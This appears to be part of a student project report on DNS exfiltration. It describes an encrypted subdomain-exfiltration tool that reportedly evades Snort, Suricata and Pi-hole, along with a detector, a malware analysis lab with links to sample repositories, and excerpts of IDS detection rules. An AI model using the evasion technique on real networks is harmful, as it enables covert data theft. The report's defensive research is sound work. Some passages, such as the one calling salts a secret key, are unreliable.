2. http://www.ietf.org/rfc/rfc768.txt
3. http://tools.ietf.org/html/rfc1035
4. https://www.devdungeon.com/content/using-libpcap-c
5. https://www.codeproject.com/Tips/465850/Scanning-a-PCAP-dump-to-find-DNS-and-NETBIOS-queri

9.4 Logic Explanation

9.4.1 Python DNS Exfiltrator

The python3 DNS exifltrator is a tool to generate UDP DNS traffic over to the specified port and IP. It makes use of the above project that simply sends a UDP packet. I modified the code and adjusted it to have a variable subdomain name appended to a dunny domain. This string is generated by taking an input and productng an output based on the paramters specified at the command line.

By default, a script defined string will be spent to a script defined address via Base64 encoding, to obfuscate to a basic level. The whole URL is created, for example ”U3VwZXIgc2VjcmV0IGRhdGE=.cyblogia.com”.

The string is then pushed over the network as an A record, with the DNS server logging failed resolutions. This assumes DNS server control somewhere down the pipeline but allows for covert tranmission if monitoring is not present. Base64 is encoding, not encryption.

A network engineer who recognises the regular "==" may regognise the encoding algorithm in use. Since the project is to illustrate "cat and mouse behavior", AES encryption was impleemted in CBC mode which takes a key and IV and encrypts the data into byte output. Both the IV and key is required for decryption and means the later encoded base64 string, would not produce clear text after analysis.

If the code in question is found, then the key would still be needed. Only the IV is in clear text inside the malware for proof of concept, however command history would be required to obtain the key needed that is passed as an argument as of present. Actual malware implementation would likely do these function internally.

This tool can produce obfuscated exfiltration via DNS from a given input. Extra functionality has been implementated to produce this effect for any given input length by splitting up files line by line and running the above process on each line. This means that whole files can be sent over the network via subdomain naming. This is not designed for speed. rather covertness of content. In experimentation, it took 2-3 minuites reiably for a 19kb file.

Input length is irrevant for encruyption due to my implementation of manually splitting and padding of lines needed to fuffil AES requirements. This is rather loud on the network - if encrypted the contents cannot be feasibly parsed, but the process causes many requests to be produced so sysadmins may gain overall suspicion. This could be mitigated with rate limiting. If manual detection is not a concerna and tailored detection is not in place, then default functionality can be leverage to exploit a lack of intrusion prevention to exifltrate data out of infrastructure in a "noisy" way.

9.4.2 C Libpcap Capture Engine

To illustrate the concepts of attack development and eventual detection/prevention, a program was developed to attempt to mimic these behaviours. A C program was created that takes ethernet ip input from an interface or pcap and parses it with libpcap.

Specifically, the headers are stripped down to Ethernet–¿IP–¿UDP–¿DNS–¿DNSPayload. The logic to support this is that a UDP request is connectionless and as such, is a prime candidate to abuse protocol payload normality. UDP is monitored as the above tool leverages it for the attack, with knowledge of that attack helping to create this tool. This is the typical workflow of attack versus defence and is reproduced here. Once the headers are stripped into structs, memory must be traversed as per DNS specification to extract the needed data. The offset must be found to be able to do this, which in this case is 32 octets. Once these values are found, values are formatted into a log for later analysis. The respective datastream can be saved at runtime to a pcap file for achieval purposes also. Data parsed includes source/destination IP address, DNS request (subdomain and root label) and timestamp. These values allow the analysis process to find patterns that might indicate malicous activity.

9.4.3 Python3 DNS Exfiltration Detection

This is behavioural analysis of the data stream and as such, sensible characteristcs must be chosen to accuralty identify a potential threat. This is less strict that an outright intrusion prevention system in which automated action is taken that could be damaging to infrastructure workflow. The intention of a full developed implemetation of this proof of cocentpt would be to have as part of a SIEM or threat board and have manual action taken. This means that both digitial and human cognition can work together in unison for greatest effect. Artificial intelligence can be leveraged for arguably larger scale threat blockking but is still a developing field as of writing, and is a more complex appraoch that this paper can cover in detail.

There are a few characteristcs that are unique to the attack that could be used as a reliable fingerprint. The attack has the option to be quick and 'loud' in nature, especially when transmitting files. DNS request traffic in such volume to the same domain is irregular behavior, especially within a small timescale and so this could be monitored with a customizable threshhold to flag up a threat. The fact these are requests mean that their is likely a responce. This responce is likely a server failure of some kind due to the nature of the invalid subdomain, by stripping the responce, this could be used in a similar threshhold system. The subdomain names are long, strange and recongnizable as base64 to those with an experienced eye. Base64 often uses '=' as a padding character, which is almost never used in actual domain names. The symbol wildcard check could be used to identify malicous requests in additon. Base64 usage means that these detections could automatically log the decoded content, to help intepret the message inside.

AES encryption does break this feature, but again is an evolution of attack methods. It is important to have these features in place however, as commodity threats are common with most being simple tools and scripts leveraged to exteamly vulnerable systems.

A mock lookup system could be developed that checks against a local list of (sub)domains to check if the malicous subdomain matches, with flagging as a result. This is a whitelist appraoch and as discussed multiple times, custom environments and infrastructure would have to caiter to it. If private DNS resolution is taken place inside infrastructure, it should be added to the list. Equally, as discussed before, symbols inside the subdomain is an abnormal characteristic which should be flagged, but could be fixed by changing infrastructure or by adding it to the whitelist.

Each one of these characteristcs has a false postitive eventuality, no matter how large or small. In combining some of these features into C logic, accuracy can be achived and attacks potentially mitigated. For this reason, a weighting/scoring system has been implemented that can prioritse certain fingerprint charactersistics over others; '==' is more suspicious than the occurance of a few numbers for example.

In addition to detection, the program must be usable and accessible. This means proper argument handling, usage printing, input and output capabilities and feature toggling. Choice over which features included depends on the development process and priority.

Chapter 10

Discussion of the secure malware analysis lab

10.1 Hardware Choice

Malware and threat analysis can be dangerous and so it is important to have an isolated lab. For this project, I did not feel that a standard virtual machine would suffice. While I do not believe that any of the samples or attacks can escape the hypervisor jail, I do not want to take the risk when this is ran on my own infrastructure. I purchased an isolated Dell Optiplex 7010 for a few reasons:

1. Price - It costed me £90 which was a cost that minimized the complexity of using external infrastructure
2. CPU - It has an i5 3470, a quad core at 3.2GHz should be able to cope with a few minimal instances
3. Memory - The main incentive of this system - 24GB of DDR3 memory which is enough to distribute to all the systems that need it and to bypass low memory VM malware checks
4. Storage - A 160GB HDD is sufficient for this project, I have reserve storage should it be required.

10.2 OS Choice

In regards to the host operating system, there is a lot of choice. I decided to use a host OS and then a hypervisor to add an extra layer that would need to be compromised. Operating systems are often in actuality distributions of the same underlying source code. There are two main ones, windows and unix. Unix is ideal in this situation as the general userbase trends to the windows side. Malware prefers to target the largest userbase and as a result, most malware is for Windows.

This is security by obsecurity as unix configured properly versus windows configured properly are relatively equal, something that is not a replacement for security steps, but in addition to. Malware can be on any platform, but by using a unix distribution as the host, with a windows VM, there are more variables that a given piece of malware would have to adapt to. Unix also has the advantage of being open soruce which allows for anyone to review the code and find vulnerabilities.

I picked ZorinOS which is Debian based and is targeted to run well on older hardware. It recieves regular security updates and is widely regarded to be an improvement from Ubuntu in just about every category aside from documentation.

The hypervisor will run as a meditary between the host and each VM. In regards to vulnerable machines, Windows10 and Windows7 are the prime cantidates due to the large volume of malware dedicated to those architectures. For the former, it is likely that Windows Defender would need to be disabled for some experimentation. Malware sometimes has it's stager blocked by AV systems, but the actual payload can be ran.

10.3 Hypervisor Choice

I decided on VMware Workstation Pro 2016. I already had licensing for it and have found it to be easier to migrate to another system should the need arise. As of writing, 16 is up to date and has all the relevant security patches. It runs on zorin OS well, and allows for additional operating systems to be utlilized called virtual machines. These are isolated systems that contain the OS material inside and any processes tied to it. Usually, an application cannot disern any difference and will run as normal under VM environments. I have had to take a few additonal steps to improve secruity of which VMware allows.

VMWare tools is a package which allows for better interaction between host and VM - often in the form of shared clipboards, folders and keyboard inputs. This however would never be installed on any non-VM environment and as a result, creates an obvious indicator of VM use which may prevent malware from running and consequenially behavioural analysis cannot take place. This will be disabled as the negatives do not outweigh the benefits.

VMWare workstation has the benefit of having virtual network capability which means that different VM isntances can be psudo cabled together for communication which is key to malware pivoting. This is in place for all VMs required, with strict restrictions on access to the host system.

10.4 Software Choice

10.4.1 REMnux

REMnux is a malware analysis focused gateway virtual machine that is debian based. It comes in a distribution, package suite and also as a docker image. The former was chosen for simplicity and the fact that VMWare was already setup. The concept of this implementation is to forward all traffic from every VM to analyse using the suite of tools installed. Some of these individual tools are discussed below.

10.4.2 InetSim

InetSim is a package that I installed on the REMnux virtual machine that will act as a DNS server that resonds to every domain with the same webpage - a sample web page. This means that a DNS http or icmp request would resolve correctly, and assuming there is no in-depth responce checking, malware web checks will resovle correctly. This is nessesary because there are malware samples that do check connectivity to avoid an isolated analysis environment such as this implementation.

10.4.3 FlareVM

FlareVM is another choice that offers a hybrid between the REMNux gateway and vulnerable machine setup. It provides tools inside the vulnerable macbine to conduct behavioural analysis in real time such as regsitry change and file system alteration monitoring. Additionally fakenet is installed which is another DNS spoofing tool. Having multiple options in experimentation like that of this project is important for consistency and reliability.

10.4.4 ParrotOS

ParrotOS is a security focussed debian linux based operating system that acts as a collation of the most used cybersecurity tools. It is similar to Offensive Security's Kali Linux which offers much of the same functionality, and is largely preference. This VM will act as a way of deploying manaul security testing to the vulnerable machine should it be needed. The OS itself is well recognised as being secure itself, with many using the desktop variant as a home system. The security variant comes with the tools needed as as such, is likely the one that will be in use.

10.5 Additional Security Choices

Measures must be taken for security, according to risk. The host will be disconnected from the internet at all points of malware analysis via a lack of cable/wireless interface. An intranet network is created for the virtual lab communication that is nessesary for malware functionality.

It is important for the malware host to be updated over time; with additional tools, samples and security updates, meaning a delivery mechanism is nessesary. The medium chosen is a dedicated usb drive that is plugged in for deliverables. The drive is formatted on the lab host after use so that any payloads via infection are wiped before exposure to real infrastructure.

There is risk in this, notably the implantation of malware in USB controller firmware but it is the only feasible way to deliver material which is essential for maintaining the lab. These risks are managed via defence in depth at every step.

10.6 Sample Choice

The only samples that will be used are those that are compressed with the ”infected” password. This prevents accidental activation and the name structure means that a given hash can be cross referenced with existing research material of that sample. Samples are obtained from well known and trusted github reposititoies, with those from ’theZoo’ being the most widely used with the same reflecting in the project.

1. https://github.com/ytisf/theZoo
2. https://github.com/fabrimagic72/malware-samples
3. https://github.com/mstfknn/malware-sample-library
4. https://github.com/RamadhanAmizudin/malware

Chapter 11

Parameters for Experimentation - IDPS Testing

11.1 PfSense IDPS Packages

PfSense is a 'router' like operating system that is a web gui wrapper for freeBSD. It comes packaged with advanced routing capability, far beyond that of a standard home or office router. It is free for use, and is regualrly updated with qualkity of life and security mofificiations. It enables the user to install various offical and community packages to use via the web dashboard on the pfsense port. There are two different but similar IDPS systems available called Snort and Suricata, popular solutions for catching commodity threats that are signature based via the use of rule lists. This lists can be imported, modified and bought and often cover different kinds of threats. These may include: privacy, dns, c2, shellcode, shellcode and malware to list a few.

11.2 ETOpen Emerging Threats Rules

https://rules.emergingthreats.net/OPEN$_{d}ownload_{i}nstructions.html$

```
emerging.rules.tar.gz

classification.config
compromisedips.txt
emergingactivex.rules
emergingattackn+nbresponse.rules
emergingbotcc.portgrouped.rules
emergingbotcc.rules
emergingchat.rules
emergingciarmy.rules
emergingcompromised.rules
emergingcurrentn+nbevents.rules
emergingeleted.rules
emergingdns.rules
     Example (Brief)...
       alert udp kHOMEn+nbNET any  any 53 (msg:ET DNS DNS Query for
       ↪  a Suspicious Malware Related Numerical .in Domain;
       ↪  content:|01|; ...
       alert udp kHOMEn+nbNET any  kEXTERNALn+nbNET 53 (msg:ET DNS
       ↪  Query to a *.pw domain  Likely Hostile; content:|01|;
       ↪  offset:2; ...
       alert udp kHOMEn+nbNET any  any 53 (msg:ET DNS Query to a
       ↪  *.top domain  Likely Hostile; content:|01|; offset:2;
       ↪  depth:1; ...
       alert udp kHOMEn+nbNET any  kEXTERNALn+nbNET 53 (msg:ET DNS
       ↪  Query to a .tk domain  Likely Hostile; content:|01|;
       ↪  offset:2; ...
       alert udp kHOMEn+nbNET !9987  kEXTERNALn+nbNET 53 (msg:ET
       ↪  DNS NonDNS or NonCompliant DNS traffic on DNS port Opcode
       ↪  6 or 7 set; ...
       alert udp kHOMEn+nbNET any  kEXTERNALn+nbNET 53 (msg:ET DNS
       ↪  NonDNS or NonCompliant DNS traffic on DNS port Opcode 8
       ↪  through 15 set; ...
       alert udp kHOMEn+nbNET any  kEXTERNALn+nbNET 53 (msg:ET DNS
       ↪  NonDNS or NonCompliant DNS traffic on DNS port Reserved
       ↪  Bit Set; content:!7PYqwfzt; ...
       ... Ommited
emergingdos.rules
emergingdrop.rules
emergingdshield.rules
emergingexploit.rules
emergingftp.rules
emerginggames.rules
emergingicmp.rules
emergingicmpn+nbinfo.rules
emergingimap.rules

... Ommited
cthe unicode doesnt work, try alternate solutions
```

11.3 Snort GPLv2 Community Rules

https://www.snort.org/downloads

```
Snort GPLv2 Community Rules.gz
snort3community.rules (All are imported, selectivly enabled)
     alert udp any 53  kDNSn+nbSERVERS any (msg:ET DNS Excessive
    ↪  DNS Responses with 1 or more RRs (100k+ in 10 seconds)
    ↪  possible Cache Poisoning Attempt; ...
     alert udp any 53  kHOMEn+nbNET any (msg:ET DNS Query Responses
    ↪  with 3 RRs set (50+ in 2 seconds)  possible A RR Cache
    ↪  Poisoning Attempt; ...
     alert udp any 53  kHOMEn+nbNET any (msg:ET DNS Query Responses
    ↪  with 3 RRs set (50+ in 2 seconds)  possible NS RR Cache
    ↪  Poisoning Attempt; ...
     alert udp kEXTERNALn+nbNET any  kHOMEn+nbNET 53 (msg:GPL DNS
    ↪  zone transfer UDP; content:|00 00 FC|; offset:14;
    ↪  reference:cve,19990532; ...
     alert udp kEXTERNALn+nbNET any  kHOMEn+nbNET 53 (msg:GPL DNS
    ↪  named version attempt; content:|07|version; offset:12;
    ↪  nocase; ...
     alert udp kEXTERNALn+nbNET any  kHOMEn+nbNET 53 (msg:GPL DNS
    ↪  named iquery attempt; content:|09 80 00 00 00 01 00 00 00
    ↪  00|; depth:16; offset:2; ...
     alert udp kEXTERNALn+nbNET any  kHOMEn+nbNET 53 (msg:GPL DNS
    ↪  named authors attempt; content:|07|authors; offset:12;
    ↪  nocase; content:|04|bind|00|; ...
     alert udp kEXTERNALn+nbNET any  kHOMEn+nbNET 53 (msg:GPL DNS
    ↪  UDP inverse query overflow; byten+nbtest:1,,16,2;
    ↪  byten+nbtest:1,n+nb,8,2; isdataat:400; ...
    ... Ommited
```

11.4 Experimentation Results

After investigation, the DNSExfiltration tool created bypasses any typical rule list under Suricata and Snort. These are free IDPS systems that are widely used in homelab and industry environmennt. In addition, the tool was attempted inside infrastructure that hosted pihole - a DNS sinkhole Docker container that filters out unwanted DNS traffic based on common indicates such as reputation for malware and data privacy viotlations. While the datastream did show the attack as DNS requests simiarly to Wireshark, it did not take any exception to it besides noting that the root domain was invalid.

This is per use case of the tool, and shows that even tailored solutions can miss attacks such as these. THis incicates the importance of a modular deseign, something that these tools implmente well. Rulelists dictate what is and isnt allowed through the network, this attack could potentially be filtered via regex and deeper analysis at the modular level. It is likely that other detection systems may detect this threat, but they may be closed source and also paid. This both increases the likelyhood of trailing updates and also that IDPS protection would be disregarded as a whole.

In reality, detection mechanisms such as those created here are arbitrary and show proof on concept, the analysis part would be a module for an established IDPS with a potential dashbaord for such attacks and the parameters to detect them. Such tools do need nuance - inside a corporate dataset, the room for varaiability is massive and so results should be treated with care. As part of the analysis mechanism, there are many parameters for thresholidng tolerance for different indicators, with each indicator then having a weight. This weight itself has a threshold which makes an informed dicision on how legitimate the packet appears in regards to this attack (the lower the score the better). This overall threshold then changes based on if LITE or STRICT mode is used. It is clear that to get the best possible solution, deep research must be conducted with large and diverse datasets. This is statisical analysis with elements of machine learning and is possible scope for expansion of this project.

Part IV

Evaluation

Chapter 12

Discussion of Meaningful Defence

As seen via research conducted in this project, no detection is perfect but is significcatly more 'perfect' than no solution at all. Detection/-prevention can make or break a network, so implementation must be careful. One of the challenges with IDPS systems is the balance of what rules to enable, too many and the system slows down, too few and threats may pass the firewall. Most threats are commodity [back this up] in nature, and so signature/behavior based reaction works well for much of threat resistance. This does not mean defence in depth should be disregarded, rather it's just another layer. A hypothetical zeroday would likely pass though assuming there is no other defence in depth measures, some of which are discussed inside this chapter

12.1 Adequatte Use Of Cryptography

Plain text data is not secure; hence we need encryption. There are some ways to improve how we handle sensitive data, namely using encryption on data in transit, data at rest and also with how we authenticate. The company should instead store a hash representation of that password on the server and compare that with the hash the user generates on login attempt. This means the password is stored on no internal system [11]. This would be vulnerable to a rainbow table attack in which pre-computed hashes are compared to their plain text counterpart. The password test123 would have the always have the same hash which means that passwords can cracked instantly by cross-referencing. The solution to this is another key called a salt that the server holds (separately). This key transforms the hash into another value that cannot be deciphered without it and adds another layer of security [12]. This means an attacker would need the stolen hash, and the randomized salt key. If hash and salt are separated, then this is quite the challenge. Encryption of emails can be leveraged to improve security alongside hashes that verify people, attachments and messages [9]. Regarding passwords, we need credentials that are difficult to guess. There are two approaches depending on preference. The company can introduce password managers with credentials of length and complexity [12]. Another solution also being what NCSC suggests; three random words into a single password. This is both long enough to make brute force difficult enough and also fairly easy to recall for the end user [13].

12.2 Denial Of Service Mitigation

Denial of service is rather hard to combat, someone with enough hardware to make the attack distributed can take infrastructure down eventually. What we can do is to both make this more difficult, making the situation beyond the simple task of running an automated tool [15]. The first mitigation strategy is to block ICMP / ping traffic. The attack works in large part because the server must reply to the ping, which raises process utilization and pulls away everything else on the server. If we can block this then it can go a long way to improve resilience [15]. This is not a complete solution unfortunately. By either creating a windows firewall rule or Linux kernel flag, there is something added that needs to be processed. The load of that processing is not as heavy as a reply but is still present and as a result, the system can be taken down given an increased amount of effort and hardware power [15]. A team of me and 3 others conducted an experiment in which we tested to see if the ICMP blocking greatly reduced the impact of DOS. We sent 1 million ping requests from both a single computer and then two computers to see if there was a notable difference when you block requests. You can see from the below results that it does help greatly. The idea being that despite us using low powered hardware; a realistic attack would also be greater in power indicating that it is scalable.

Another common mitigation technique is load balancing. Commonly there would be different IP addresses and domain names for the hosts and services on the network, with each corresponding to a specific machine. We can assign domain names and create a pool of IP addresses for that name. This will mean that when the domain is accessed, it will be resolved in the DNS server as ONE of those IP addresses, in a round robin approach. This shares load and makes it so an attacker must take down all of the hosts at the same time to take down a system fully [15]. The same philosophy of redundancy must be shared to all aspects of the network, including the DNS architecture because if there is only a single server responsible for everything and that gets taken down then what does the company do? It is incredibly important to have version control of data, with multiple copies. Most common solutions include a local backup, a tape backup off site and then a secure cloud solution. A solution should encompass the CIA triad discussed earlier [16]. fail2ban?

12.3 Human Infrastructure

Automated systems can work well once configured, however, many are not AI based. This means that they do not learn from their mistakes as easily, and are likely to make more. Human infrastructure is putting the resources into place to create a healthy workforce suited to tackling cyber threats. This would include the CISO, devops, programmers, sysadmins, security architects and any other cyber related role. It has been noted that the brain is the world's strongest supercomputer, this can be leveraged with personal experience to great discredionary action and monitoring of network and infrastructure events. Many bugs in the development prcoess [cite] are caused by corporate crunch for time related reasons. This pressure creates an atmosphere of quickly completing the project, this can lead to mistakes and consequenially and CVE. It is important to ensure that the workforce are happy, growing and funded.

12.4 Seperation of Duties Abstraction

Good network design is another component of healthy infrastructure. Defence-in-depth dictates that a security professional must consider the eventuality of compromise at every point in infrastructure. A common question a pentetration tester woould ponder would be how could that access point be leveraged to gain escalated priviledge. This has been discussed previously, and is indicative of exploiting weak infrastructure. This is most applicable to the level of access that hardware or software has to the rest of infrastructure. If compromise is assumed, the ideal way of controlling such intrustion is to isolate the incident, removing it's ability to spread. In terms of the aformentioned ransomware variants, there are versions that target backup infrastructure also, should be be connected. For corporate environments, a backup solution should not be directly attatched to the filesystem. Not only is this bad practise for the eventuality of a fire (potentially losing the backup in the process), but it means that the ransomware would have more leverage over the data it has modified and/or stolen.

The other eventuality is access control for user accounts and API calls. Seperation of duties dicates that a user should only be able to access what it actually needs to function, when it needs to function. Following such practise would mean a whitelist approach for API endpoints to specific hosts and services. This can be done using VLAN technology, along with IP/MAC checking. These are not certain solutions, as both of these metrics can be spoofed. Cerification which is discussed in the next section is the solution to this.

Abstraction is also important for both user convenience and for security. A reverse proxy is a machine endpoint that is often exposed to the larger internet or forward facing infrastructure. It handles network input and parses it for internal output and vise versa. This parsing process allows for traffic analysis which is important for logging, as well as threat intelligence methodology [??]. Traffic can be encrypted and cerified using a TLS cerificate, and can be abstracted from inner infrastructure. it is similart to NAT in that the public IP is all that is exposed, often with a port to dicate what service/host is desired. These proxies can be load balanced to create redundancy for the endpoint, and act as an extra barrier to dential of service attacks. As discussed previouosly, Cloudflare is popular for this as it provides such service with deeper inspection additionally. This can lessen the amount of reconssance that can be conducted externally, especially if internal ports are not exposed outside of the infrastructure they are nessesary for. Nginx is a locally hosted solution that is widely used and functional for large infrastructure.

12.5 Cerificated Domain Whitelists

As discussed, IP and MAC addressing are not absolute metrics of host validity, but should still be implemented for defence-in-depth. Domains are useful for resoliving to specific IP addresses that have the respective cerifciates to prove their credability. These certiciates would be verified by an outside cerficiate authority, and mean that DNS spoofing and HTTP cloning attacks should prove ineffective compared to simply using IP addresses for infrastructure. If the host fingerprint changes, client software typically detects thi sand alerts the user that something is potentially wrong. This includes browsers, ssh clients, RDP sessions among many others. The advent of this implementation has made man-in-the-middle attacks and ARP spoofing less effective, hardening infrastructure as a result.

12.6 Developmental Honeypot Infrastructure

A branch of the discussion of proper security funding, it is important to ensure that the right infrastructure is in place. In terms of infrastructure deployment, services often do not work on install and so configuration must take place. Such configurations must be tested anf verified, with the same going for software updates. The reason for this is that due to the nature of software, it can break due to bugs in the code or misuse. This should be done on dedicated developmental infrastructure before it is pushed to the producted line, otherwise the whole endpoint could potentially collapse.

In the same vein, it is important to monitor present security threats that perhaps have not been documented as of yet. A honeypot allows for a security team to view how an attack behaves in a host or network, and what techniques and tools are leveraged. Proactive action can be taken as a result, potentially saving the real infrastructure from later compromise. These must be isolated and convincing, often in the public internet via an exposed port. Cowrie is a SSH honeyport that adverises a fake SSH port with weak credentials that lets the analyst view credential attempts and the commands used via a PHPmyAdmin database. The choice of honeyport pertains to the infrastructure used in the deployment in question.

12.7 Social Engineering Resilience

We cannot patch out human psychology. It is the very thing that distinguishes us from the machine. That would have a disastrous impact on social interaction, innovation and creativity. Baring the idea of a cyborg nation, what can the company do exactly? Employee training can go a long way. Provided training can increase alertness to malicious social encounters. The idea with security is not to eliminate, but to simply mitigate with obstacles. These additional hurdles create hardship that make the golden egg seem less worthwhile [2]. Training relevant to social engineering resilience would include physical or voice call validation of requests, thorough checking of email headers and the ability to question authority to at least a basic extent. The fact employees meet once a week could be used as a verification for important requests. The more alert employees are, the more these kinds of people will be stopped on attempt. An excellent test for this is the physical penetration test. Essentially the idea is to mimic the attacker minus the intent. The company get results, without damage. These results can go a long way in accessing the overall attack surface and the rational of employees [3]. Studies indicate that a penetration test can have yield great progress; care should be taken to adjust company focus and mindset to have security in mind. A penetration test is only as good as how receptive the company is to change, and to hire for security proactively going forward [4].

Chapter 13

Evaluation Of Project

The project has notably changed in scope and direction. The plan initially was to analyse malware and compare them to their respective defence technologies but that grew to be too large in scope when focus was put onto the attack I deemed most interesting. I preferred to go deeper into DNS exfiltration after the research process. The malware environment does operate as a good virtual machine hub and as such was suitible for hobbyist malware testing and tool development alike. The discussion of defence technologies stands as the focus of the project is still on the bigger picture, with a case study given to the scope of the project to illustate such issues that are present. This project was also conducted under COVID-19 restrcitions which has slowed progress on all stages of research. The project has changed in direction, structure and also what is provided at the end (for the better). The project has been useful for identifyubg various kinds of mechanisms that malware can employ, and the arms race to defence as a result.

Chapter 14

Future Recommendations

This project is a good illustration of the arms race - one side innvoates, the other side is then forced to as well, lest they be weakened. There was a fair amount of programming inside this project considering it is investgative, and as such there is much in terms of varaiability. In aspiring to heights of accuracy and user defined detection strength, I discovered that there is a project in itself of finding the most optimum settings for large and varied datasets. This would be conducted using statistical analysis methodologies and possibly machine learning driven simulation. There will be clear limits of such a program, but it would be useful to find them and optimize the process. This project was an overall view with DNSExfiltration being a portrayed as an example, the next could be with the view on the technologies to push it further. This furter illustrates the point of discussion surrounding AI and automated threat intelligence, an area that I can see the application of, that is the natural progression. The fact this revelation was found naturally and also in research shows the project went the right direction in the end, with generic malware analysis discussed also to be able to discover present mechanisms.

Chapter 15

Conclusion

There are issues indentified throughout this paper - notably the fact that some attacks are not seen as worth filtering because they are not overt in nature. Ransomware (for example) would be prioritised over Éxfil-Waret́o the point where it could be forgotten entirely. This is present in the fact that notable and free IDPS systems were tested as part of the project and did not pass the testing for my kind of attack. While it is important to understand that my attack has it's own fingerprint, it still follows the standard characteristcs of the well known and used DNS exfiltration method. This is employed by both malware and pentesters so it is important that DNS is monitored. Thankfully such platforms are modular and would allow for such features to be added by anybody. This may not always be the case with some enterprise and paid solutions in which there is less control over what can be added. Snort is open source, a great beneift to security professionals who wish to caiter it to their need. THis paper represents the need to have defencce in depth, to treat security as a layered apprach and to repect it for the challenges it poses. Such challenges must be fought in order to protect the integrity of technology, with time and potentially capital being put into securing infrastructure and the workforce. This solutions do not nessesarily need to be monitary, but they must be representative of the threats out there today.

Part V

Appendices

Appendix A

Terms of Reference

A.1 Ethics Form

If you scan the Ethics form on one of the multi function printers, you can get a pdf copy. This can then be included with the LaTeX command

```
cincludegraphicsethics.pdf
```

A.2 Risk Assessment Form

Likewise you can scan and include the Risk Assessment Form

```
cincludegraphicsriskassesment.pdf
```